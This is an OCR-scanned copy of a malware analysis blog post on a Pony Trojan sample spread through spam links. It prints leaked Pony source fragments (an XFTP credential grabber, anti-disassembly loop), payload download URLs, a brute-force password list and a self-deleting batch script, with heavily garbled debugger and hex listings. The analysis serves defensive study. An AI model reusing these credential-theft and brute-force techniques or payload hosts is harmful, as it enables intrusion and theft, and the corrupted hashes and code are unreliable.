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In this post, we will take a high and low-level look at the Pony Trojan, delivered through a recent spam campaign.

During our case study we showed some malicious samples being distributed in spam campaigns. Using this

distribution method, malware is often found attached to the e-mail as either:

e an executable (also compressed, i.e. zip, rar or cab archive), sometimes pretending to be a different file
format, like Dyreza

e a document (commonly PDF or some MS Office format ) — like this Dridex downloader

This time we will present a sample with a bit different delivery method. Instead of attaching the malicious file,

attackers decide to just send a link and convince users to download the malware:

The scam is to make users curious about an unexpected money transfer, leading them to click on one of the links
and download the associated file. It doesn’t really matter which link they click on, since they both deliver the

same sample.

elemental sqgl.per.sgfsecurity. scr

Opening security.scn

You have chosen to open:

[ security.scr

which is: scr File (154 KE)
from: http:/felemental.sgl,per.sq

Would yiou like to save this File?

Save File ] [ Zancel

During download the browser may show a typical executable icon. The unusual extension is just another trick to
confuse users, who might be more wary of exe but not as much when encountering scr. The scr extension is used
for screensavers — but despite the different name, they are normal executables, and they can be run by Windows in

the same way.

The downloaded file tries to look trustworthy by using a well-known Adobe Reader icon and the filename

“security” or “infos”.
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i

security.scr

Once executed, it deploys the Pony Trojan on the system. For more information about detection of this malware,

click the link below:

md5=8a55ecad10a7cf3dad3630ac40e420al

For those of you, who are satisfied just by knowing that the file is malicious, you can stop reading after seeing the
VirusTotal report. But if you are interested in features of this malware family and in tricks that it uses to hide its

real mission, keep reading!

Elements involved

e 8a55ecadl0a7cf3dad3630ac40e420al — original, packed sample (security.scr)
o b60d3a994a9074cc59d1e065d2583411 — Pony Loader
= 9a822a6232b932187c¢d1857a740dfb85 — payload downloaded by Pony Loader
(url format: http://(...)/wp.php)

The original sample — security.scr is just an outer packing, used for the purpose of obfuscation. It loads into

memory another fully independent executable: Pony Loader.

Pony Loader

Some years ago, the sourcecode of Pony Loader (bot) 1.9 along with Pony Builder (bot configurator) leaked
online. Later the same happened with version 2.0. Both sets became available to download on various forums.
During this analysis, I will compare the current sample with the leaked material in order to identify changes made

by the attackers.
Obfuscation Tricks

Let’s take a look at the Entry Point:

"

|E| *G.P.U* - main thread, module pony

EE4ES1FY EEE ®OR ERK,. EDR pony . <Modu lLeEntruPoint >
BE4EE1IFS | . 33D@ ®OR ED, EAX kernel32.BaseThreadIn it Thunk
FE4ES 1FE 33C2 ®OR ERX, EDN pony. <Modu lLeEntruPoint >
58 BAS24B606 FUSH pony.B848526A
BE4EEZEZ | . 98 HOP
BE4EE2E2 | . FB CLC
EE4ESZES | . 96 HOF
BE4EE2EHE | . oF2 B2 JE_SHORT pony. 88465269
BE4EE2EY | . | 98 HOP
HE4EEZES | . | C3 RETH RET used as a jump to BB4EEZ6AR
EE4EE2ED » =FE e Unknown command
ES SLHREEEA CALL <JMP.%&kernel32.GetTickCount > |CGetTickCount
G94E526F | . B3_BAGPOARD MOU ECH, B2 _

As we can see, the flow is obfuscated. Transitions between basic blocks are made using the well known trick:

PUSH-to-RET, which emulates a CALL to an address that is pushed on to stack. But in Pony this technique is
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used in more sophisticated way because there are some junk instructions added between the PUSH and the RET in

addition to a never executed bogus conditional jump.

Due to these tricks, sometimes common tools fail to correctly interpret the code. Example below:

@ *G.P.U* - main thread, module pony

AE4ES1YF | & EE FUSH EEF
AE4ES188 | . BBEC MoW EBF, ESP
AE4ES12Z2 | . B304 FC AOO ESP, —@ud
AE4E5185 | . 33C2 WOR ER, EOX
aE4E51sy | . 3308 HOR ED, EAK
AA4E5189 | . Z3C2 WOR EF-, EOH
AA4E518E | . &8 98514880 FUSH pony . BE4651 98 ASCII "hYeeE™"
AA4E519a | . 948 HOP
AE4E5191 . F& CLC
aE4a5192 | . 24 HOP
BE4E5193 | .~ 72 B2 JE SHORT ponw.@8485197
aa4a5195 | . 24 HOF
AE4E5196 | . C3 RETH RET used a5 a jump to BE405193
AEdEE197 * FE T Unknown command
. 62 52 Bl 48 88 |QSCII "hYQE™ &
BEdEs190 . EZ SER1BOEG CALL <JMP.%kernel22.SetUnhandledExs|LSetUnhandledEscept ionFilter

OllyDbg interpreted the pushed address as a string

Another trick used by this malware is delaying execution. For example, the malware executes GetTickCount in a
loop till it gets a value satisfying specific condition. The algorithm behind this trick is simple. The value returned
by GetTickCount is divided by a predefined number. When the remainder equals another predefined value, the

loop terminates. As a result GetTickCount runs pseudo-random number of times before the execution can

continue.
BA4BE26E9 | > FE T Unknown cammand
GE4A52E0 | > ES SSOA0A0E CALE <JHP.&kernel32.GetTickCount > CEetTickCount
EE4Ec26F | . BY? OAEBDEDE MOU ECH, E=H
Bad4a5214 . 3302 w0OR EDH,EDH pony.<Modu leEntryPoint >
Ba4ecz1e | . FFFL DIV ECH
BE4Ec218 . B3FH BS CHMP EDX, E=5
BA48521E | .~ 75 82 JHZ SHORT ponw.@@84a521F
Ba4ac210 | .~-EB 82 JMP SHORT pony.@E4EE221
FE4AS21F }"EEB E2 JMP SHORT pony . BAR4AS2ER

» *EZ B39FFFFFF CALL ponw.BE46E517F pony_main

Ba4Ec22E | . FPUSH G:0 ExitCode = BrB
ER4pE22E | . ES FDAR@a0a CALL <JMP.%kernel32.ExitProcessy ExitProcess
Ba4a5220 CiC INTS

This particular functionality matches the pattern found in Pony 1.9:

[code firstline="1004" highlight="1017" title="Pony.asm”] MainEntryPoint: AntiDisasmTrick

WHILE TRUE invoke GetTickCount mov ecx, 10 xor edx, edx div ecx .IF edx == 5 .BREAK .ENDIF .ENDW
invoke DoWork

invoke ExitProcess, 0 [/code]

Strings

The authors of the malware didn’t took care about obfuscating strings or API calls. At this stage, we can see all of
them clearly. Some of the strings are the same (or suggesting equivalent functionality) to those from the sample

analyzed by MalwareMustDie in 2013. However, the current sample seems not as offensive, for example it

doesn’t include as many strings that reference password stealing as the previous one did.

You can see complete (and commented) list of strings here:
https://gist.github.com/hasherezade/1f3199b7b752db5d46¢c6
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Target Identification

Specific modules in the sourcecode are included or excluded according to defined flags. The currently analysed

sample have the following module included — being used to target ‘NetSarang XFTP’:

[code firstline="8985" highlight="8991,9011" title="PasswordModules.asm”] ; XFTP ;
http://www.netsarang.com/forum/xftp/list ; Tested: Xftp 4 (Build 0077) ; Tested: Xftp 4 (Build 0083) ; SFTP:

implemented
IFDEF COMPILE_MODULE_XFTP
.data CXftpAppDataDir db ‘NetSarang’,0 CXftpConfigFile db ‘.xfp’,0 .code

GrabXFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_XFTP,
0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CXftpAppDataDir, offset CXftpConfigFile,
ITEMHDR_ID or 0 invoke StreamUpdateModuleL.en, stream, hdr_ofs ret GrabXFTP endp

ENDIF [/code]
Network Communications

It didn’t take long to locate URLs queried by our Pony sample:

http://windowsupdate. microsoft.com/update
http://forgedforce.com/images/wp/wp.php
http://marienainteriors.com,'wordpress/wp-includes/images/wp/wp.php
http://interceptlabs.com/wp/wp-includes/images/wp/wp.php
http://encodesoftware, co.uk/images/smileys/wp/wp.php
http://handydiscount.co.uk/image/wp/wp.php

.data:00406028 00000028
.data:00406053 00000043
.data:00406036 00000039
data:004060CF 00000035
[2] datz:00406104 0000002

T T el

The First URL, windows update, is used just after collecting information about the system. The malware sends a

POST request to the address as seen below.

GE4E2E72 || > 2EFD_AC HMou EOI, CARG. 21

BE4EZETE || . BB BEREEEHE MOU_EBX, ExE

Ga48357A || > cA_&8g rPUSH G:6 Flags = @
Ga48357C |] . FF7S 1@ PUSH [ARG. 21 DataSize = 111 (2V3.1
ga4a35rr |l . 57 PUSH EDI Data = BECE3AZS
5] . FFVS B2 PUSH [ARG. 11 Socket = BmlCd
BE483532 || . ES 4H1EBE08 CALL <JMP.&wsock32. send> send

Ga4@sEE2 || . BECA TEST _EHX,EAX

BE4E355H (| .~ FE 14 JLE SHORT pony_no_. BE4EISAE

GR4ESEEC || . BEFE ADC EOI, EAR

BE4EZE2E || . 2945 1@ SIE [ARG.21,ERX

Ga483591 || . 2370_10 5@ CHF [[ARG. 21, G:6

8a483595 || .~ 7S a7 JHEZ SHORT ponu_no_. B848353E

Ba483597 || . BB Glooaooa MOU - EB=, G: 1

ga48359C || .~ EB B2 JMP SHORT pony_no . BE483500

88483539 || >~ EB DR LJMF SHORT pony_no_. BE48357A

FAR4RASEAR *  RRCRE MM FRX. FRX

1 el
EDI=BBeE3ASE, (ASCII "POST ~update HTTP-l.8~rwnHost: windowsupdate.microsoft.com~rwnHocept: #-#-~rnHoccept-Encoding:

Address |Hex dump ASCII

UEEEZASE| 58 4F 53 B4/ 20 2F F5 YA &4 61 74 65 28 48 54 54[POST_~update HTT
GEcEZA45| 58 2F 31 2E 36 @D @A 43 &F 73 74 30 28 77 69 SE|P-1.8..Host: win
BEACHIASE|6d 6F FF Y3 YS TE 64 &1 74 65 2E 60 69 63 ¥2 EF| dowsupdate.micro
CECEZACE| 72 &6F &6 V4 2E 62 &F &0 6D BA 41 &2 &2 &5 ¥B V4| soft.com..Accept
CECEZATE[ 2R 2@ 2A 2F 2F @0 B8R 41 &2 62 65 V8 74 2D 45 EE|: #o#. Accept—En
GEcEZAZE| 62 6F &4 63 6E &7 2R 28 &9 &4 65 6E 74 &9 ¥4 ¥9|coding: identitu
CEEEZAZE| 2C 28 2A 3B vl 30 28 60 OR 43 eF &E Y4 &5 6E V4|, #;g=B..Content
CEEEZARS| 20 4C 65 SE| &Y ¥4 &2 2R zZ8 32 3¢ 38 60 6A 43 &F| -Length: 2¥8..Co
HEsHZAEE| 6E BE 85 63 74 69 6F &E 3A 2@ 65 6C 6F 73 E5 B0|nnection: close.
EESHZACE| @A 43 6F EE| ¥4 65 6E V4 20 54 ¥9 FH &5 ZA 2@ 61| .Content-Type: a
BEEEZADE| 7E 7@ &C 69 63 61 T4 &9 6F 6E 2F 6F &3 74 65 V4| pplicationsoctet
BECHIAES| 2D 73 ¥4 Y2 65 61 6D B0 BR 43 6F 6E 74 &5 SE V4| -stream..Content
GEcEZAFS| 2D 45 6E 63 6F &4 &9 £E &7 2A 268 &2 &9 &6E &1 ¥2|-Enceoding: binar
GEcEZEAS| 72 B0 BA 55 7v2 65 72 20 41 &7 65 6E 74 2A 20 40| u. . User—Hgent: M
GEcEZEIS|6F FA &9 6L 6C 61 2F 24 ZE 20 28 28 &2 &6F 6D vO|ozillas4.0 (comp
pEeEzEZE( el V4 69 62/ E6C 65 ZE 28 4D 53 49 45 28 35 ZE 20| atible; MSIE 5.8
CEcEZEZS| 3B 28 5F &9 6E &4 &F V¥ YZ 28 39 38/ 29 60 OA 60| Windows 98)...
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The actual data being sent is an unencrypted report created by Pony, listing information about the infected system.

This traffic contains the keyword “PWDFILE(0” and “MODU?” as well as any stolen credentials the malware

might have extracted.

If you are wondering why this type of report was sent to Windows Update server, I wondered the same thing? To

find out, I referred to the original code in order to check the intention behind it. As the code states, this function is

supposed to send the stolen credentials to the C&C!

[code title="Pony.asm, function: DoWork” firstline="961"] ; Scan and send passwords invoke ScanAndSend

[/code]

It seems that distributors of this piece of malware were not at all interested in collecting credentials, which is why
they set the beacon URL to the Windows Update address rather than a C&C which could collect and store the
stolen information. This probably happened because of lazy coders — instead of removing this fragment of code

they redirected sending to a bogus URL.

We reconstructed how the configuration might have looked using the Pony Builder:
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"% Pony Builder 1.9 -Leaked for TrojanForge.com

File Help
Builder | |oader | Settings | Thermes |
Lizgt of url[z] where to zend passwordz
hitp: / Awindowsupdate. microsoft com/update] -
4 [
[ Change ican J [ Create ztub J

Pony also has the functionality of downloader.

[code title="Pony.asm, function: DoWork” firstline="964"] ; Run loader IFDEF ENABLE_LOADER invoke
RunLoader ENDIF [/code] The other URLSs (ending wp.php) are alternative locations of the second payload. They
have extension php, but they serve a malicious executable that is downloaded by Pony, saved as exe and run. The
malware reached out to each of the URLs, in a loop, in order to find an active one. The malware uses a hard-coded

GET request to reach out:

BE4aIS7A || > 6A_Ba PUSH G Flags = @
paaaasse (| - FF7E 18 FUSH [ARGYE] DataSize = B7 (183.)
aadassrF (|- 57 FUSH EDI Data = GEZIESES
gaanzcan || - Fres o FUSH [ARGIYI Socket = B lBD

. EZ 4AlEBGBEE CALL <JMP.%wzock32.send> send
FEEEEEEEN | TEST ER, EA%
[eleEgi=l=t=]u] e FE 14 LEE SHART menn me FARARICOR
< [l
BHA4HASS0Z2=< JHF. twsock32. send>
Address |Hex dump ASCII BAGEAA]BA SockeE = B11EA
DBZ0550| 47 45 54 20 2F &9 60 61 67 65 73 2F 7T 7@ ZF 7| GET - inages wpow S —
GRZSEOCH| 7B ZE T 68 ©0 56 46 54 54 5O 2F 31 ZE 50 B0 BA| p.php HTITEA1.8.. | [ s -
GAZI5008| 48 GF 73 74 S0 20 66 6F 72 67 65 64 66 BF 72 63|Host: forgediors P | FieeR B

OOZ359E5| €5 ZE 63 6F 60 00 A 41 63 63 65 7@ 74 3A 2@ 20| e.com..Aooept: #
GAZI59FS| 2F 2A B0 A 41 63 63 65 79 74 20 45 GE 63 GF 64| *..HAccent—Encod
AEZ35A93| 69 BE 67 A 28 63 64 65 GE 74 63 74 79 2C 200 20| indi identity, #
GOEIEAIS| 3B 71 3D 56 OO OO 43 F EE GE EG 63 74 &9 &F SE|:g=d..Connect Lon
GEZI5AZ5| 38 28 63 6C 6F 73 65 B0 @A 55 73 65 72 20 41 &7|: close..lser—Ag
GO235A32| 65 €E 74 A 28 40 6F 7R 69 GC 6C 61 2F 34 ZE 28| ent: Mozilla 4.8
BhSoSHat| 49 45 20 55 SC 40 9B 2B o7 £9 GE €4 EF 23 72 28| IE BuBr Windbwe 2
« M3 LNaoWs Ll .
GEZZEAGE[ 29 2% 29 G0 GA G0 GA 59 0D OF GOF G0| 00 05 BF B8] 9210 ... eeenea... 8012F090 || DB4BEG2E| ASCIT "hrop: < forgedforce. com

E4
Ba4a3AES | RETURN to pony_no_. BB4B3AES f:
BaEEEa1Ea
BEZ353ES| ASCII "GET - images wo-wp.php
BEEBREET

Those addresses were set at the “Loader” page in the Pony Builder:
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' Pony Builder 1.9 -Leaked for TrojanForge.com
File Help

Builder| Loader | Settings | Themes |

Lizt of the willz] for load file(z]

hittp: # fforgedforce. comdmagez wpdwp. php -
hitp: /fmanonaintenors. comAwardprezsAwp-includes Amagesdwpwp. php

hittp: A finterceptlabs. comdAwpdwp-includesmages wpdwp php

hitp:/ fencodesoftware. co.ukdAmagessmileysAwpdwp. php

hittp: A handpdizcount. co.ukimage Aspdwp. php

-
1 ]
[] Do not run duplicate file(z)
Password Cracking
The Pony agent comes with a small dictionary of commonly used passwords.
.data:BaeLAG1368 a123456 db *123456° ,8 ; DATA XREF: _text:0884B4FC9To
.data:B60486137 aPassword db ‘password’ ,8
.data:86406148 aPhpbb db ‘phpbb*,8
.data:oe4B6 146 afuerty db ‘querty’,8
.data:BoeLe6 14D a12345 db *12345°,8
.data:06486153 aJesus db 'jesus',8
.data:eeL4e6159 a12345678 db *12345678°,0
.data:poLaG162 a1234 db *1234°,8
.data: 00406167 afbc123 db ‘*abci123*,8
.data:0048616E aLetmein db 'letmein’,8
.data: 00486176 aTest db ‘test',@
.data:obL40B617E alLove db 'love’,@
.data:a64A61808 a123 db *123°',8
.data:apsuB86184 aPasswordi db 'passwudd1',ﬂ
.data:8640618E aHello db ‘hello’,B8
-data:Bp466194 aMonkey db ‘monkey” ,8
.data:B0486198 aDragon db ‘dragon”,8
.data:ap84061A2 aTrustnol db 'trustnol1®,8
.data:8e4B61AE a111111 db *111111°,8
.data:B8604861E2 alloveyou db 'iloveyou’,8
.data:BeL4B61BE a1234567 db *1234567",8
.data:86840861C2 aShadow db ‘shadow’ ,8
.data:ee4e61CA a123456789 db *123456789' ,08
.data:a04086104% aChrist db ‘christ",8
.data:Apeue510B aSunshine db 'sunshine’,@
.data:oe4as1EL aMaster db "master',8
.data:op4B51EE aComputer db ‘computer’,B
.data:@040851F4 aPrincess db 'princess',@
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The list matches a list found in the leaked sourcecode of Pony 1.9:

; Password list used in windows user logon bruteforcer

This dictionary is used in attack against local accounts retrieved by function NetUserEnum.

EEEEETEEY

AE4A4FCE
AE4A4FOS
AR4a4F0S
aE4a4F0e
aE4Ea4F OB
aa4a4F 00
BE4Ea4F OE
BE4E4FED

HE4EAFED
BE4E4FER
HE4EAFF 1
HE4RAFFS
HE4R4FFF
AE4AEHAZ
AE4AEAAS
AE4AEAAS
BE4AEHEE
BE4a5612
BE4E561 9
BE4a5626
BE4ac827
BE4E5E2H
BE4HEGZE
BE4HEEZE
HE4HEESS
HE4HEEZE
HE4HEEST
AE4AEESE
FAR4AEES0
BE4AEALE
BE4a5640
BE4a564F
BE4EEH5E

BE4EcE5F
BHE4EEHE L
BE4HEDES
HE4HEEES
FE4HEHEF

BEAEEET
BO4EEDE 1
BO4BEEDSE
BO4EERST
BE4EEEEH
BE4EEEED0
BE4EEHSE
BE4EEESE
BE4EEE50
BE4EEEIE
BE4EEE3D0

1

E2 42CEFFFF
. BF S@d14686H
» C74E FC G8EEEH6E
. ED4E FC

=]

&R E@

&H 82

g

2 a4
SoaC4EaE

HIEEGHEE
5 02 2
SC Bl ARG AR

BER0EHHE
IR ENE HEE
IR ENE HEE
BEE0E00E

Fd
8
FF7S FC
EZ EDBESERD0
2208
74 18
8270 F4 B@
74 8%
FF7S F4
. GFBS 36694000
5 C745 D4 0166668
EE &7
CF4S D4 BODREEEE
FF7S FC
FF15 43604888
. 23tB
w74 1E
EZ 4DFSFFFF
5330 41604008 0@
74 B6
FF15 41604888
b CTBS S6694@E8 ol
> #37D D4 6@
74 6B
FF7S F4
FF?S FC
ES 4050008
FF7S FC
ES HEBIEEDE
FC

FiCE
B3 FFFFFFFF

CALL pony_no_.BE4E1211

MOW EDI,pony_no_. BE4E61260

HMOL DWORD FTR S5: [EEF-@x41, 65
LEA EAX,DWORD FTR S5: CEEF—@ad]
PUSH ERAH

DWORD PTR DS: [EBH+E:4]

DWORD PTR DS: [Bx4B5C55]
HHD ERH, EAX

JE pony_no_.BE4EEEIR

MOL OWORD PTR S55: [EEF-B:281, 0: 25
MOL OWORD PTR S55: [EEP-Bx241, 6:1

FUSH OWORD FTR DOS: [CEBX+E14]

FOF OWORD FTR S5: [EEF-@xZ@]

FUSH DWORD FTR DS: CEBX+E4S]

FOF DWORD PTR S5: [EEP-@:1C]

MOU DWORD PTR S5: [EEP-@=151, O:&

MOL DWORD PTR SS: [EEP-B:141, 0n0

MOL DWORD PTR SS: [EEP-B:1@], 0:0

MOL DWORD PTR S5: [EEP-@:C]
LER ERX,DWORD FPTR S5: [EEF-BE:22]
FUSH ERH

FUSH DWORD FTR SS5:[EBP-Eu4]

CALL <JMP.%userenv.LoadlserProf iled
AND EAH, EAX

JE SHORT ponv_no_.HE4ASE4F

CHP OWORD™ FTR SS: [EEP—@:C], GH:E

JE SHORT pony_no_.@8d4A5546

FUSH DWORD FTR 55: [EBF-GuC]

POF DWORD PTR DS: [Ax486336]

MOL DWORDTPTR SS: [EEF=G=2C], 6 1

JHP SHORT pony_no . BE465656

MOL OWORD PTR SS: [EEP—Bx2C]1, 0:0
FUSH DWORD PTR SS5: [EEP-Gud]

CALL DWORD PTR DS:[@md4@cC49]

HAHD ERX, ERX

JE SHORT ponw_no_.BE4EEG621

CALL pony_no_.BE4042BE

CHP OWORD PTR DS: [Ax4@6C411, A6

JE SHORT pony_no_.@E4E56877

CALCL DWORD PTR DS:[Ex4@EC41]

HOL DWORD FTR DS: [Ax4@6336], On S6@E605
CHF DWORDTFTR SS5: [EEF=@HZC], On 0

JE SHORT ponv_no_.B88405532

PUSH DWORD PTR 55:[EBP-G:C]

FUSH DWORD PTR SS5:[EBP-Gud]

CALL {JHP.%userenw.UnlosdUserProfile
FUSH DWORD PTR SS5: [EEP-Gud]

EEEL “JiP.&kernel32. CloseHandle

wOR ER&, ERX

MOL ECH, —Gx1

ASCII 122458

pony_no_. BE485137

advapisz. LogonlUserh

feteh nedt password

BEEET 345
BEGET 345

BEGET 345

advap i3z, Impersonatelogaedinllser

adwapi32.RevertToSe Lf

[thject = MULL
CloseHandle

DS: [8B4B6CEE]1=Fe162664 (aduapiZz.LogonUserAl

Address |Hex dump ASCII ~ BEcE]1 348 ASCIT "Administrator”
@E4E@E117| 74 ZE 63 GF | ZE 75 6B 2F| 65 €0 61 &7 65 ZF ¢7 78| t.co.uks inage-up| | GO1ZFFSG | daeowenm) e
@E4EE127| 2F 77 7@ ZE| 7@ 65 ¢0 oo| 0 S 32 33 34 5 26 oo un.pho..d234se. |[ ] gA1ZEFEd | medael st RasswOT
@Edaelse| 7B 61 73 73|77 6F 72 640 £8 &3 o8 62 62 B0 ¢l|password,ohebb.a| —| SAIEFFSS | Hasaneez

BE4BE147| FF 65 T2 T4|TF @@ 31 32|52 24 35 B0 EA 65 T TE|werty. 12345, jesu AR1FEFAn | AR1wEETA

Example: the malware tries to login as “Administrator” checking all the passwords from the dictionary.

Auto deleting

Finally, Pony creates a batch script in % TEMP% with weirdly formatted content:
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https://msdn.microsoft.com/en-us/library/windows/desktop/aa370652%28v=vs.85%29.aspx
https://www.malwarebytes.com/wp-content/uploads/sites/2/2015/11/attack_admin.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2015/11/attack_admin.png

https://blog.malwarebytes.com /threat-analysis /2015 /11 /no-money-but-pony-from-a-mail-to-a-trojan-horse/

AppData » Local » Temp "|‘?|

Search Temp

library = Share with + Mew folder

-~

Marne Date modified Type Size
3586587 bat 2015-11-14 16:19 Windows Batch File 1KB
] 2586587 bat (94 bytes) - BareTail = = =]

File Edit View Preferences Help

[ Open  £# Highlighting W Follow Tail | ANSI - C:\Users.\AupData\LocaI\Temp\BﬁEEﬁB?.bat (94 bytes)
o

~

del £l
if exist 31 goto ktk
del £0

e e e e e e

This script is meant to delete the Pony Loader after execution (works in a loop, in order to wait for the sample to

terminate). The same can be found in Pony 1.9 code:

.data  szBatchFmt db '%d.bat',0 szSelfDelQuoteFmt db

Conclusion

This sample seems to be compiled from the source of Pony 1.9 — the old one, without recent additions and
improvements. Moreover, some features of the original source are removed (i.e. related to credentials stealing). It

seems that in this case, Pony Loader is used mainly as a downloader.

As the current example shows, sometimes “new” malware samples are not so new — only they are packed by new

packers/crypters.

Attackers often use leaked sourcecode as a base — but they neglect the fact, that the same material is also available

to malware analysts — allowing them to easily reveal everything what they wanted to hide.
Appendix

http://blog.malwaremustdie.org/2013/06/case-of-pony-downloaded-zeus-via.html — description of Pony Loader by

@malwaremustdie
About the author

Unpacks malware with as much joy as a kid unpacking candies.

Source: https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/
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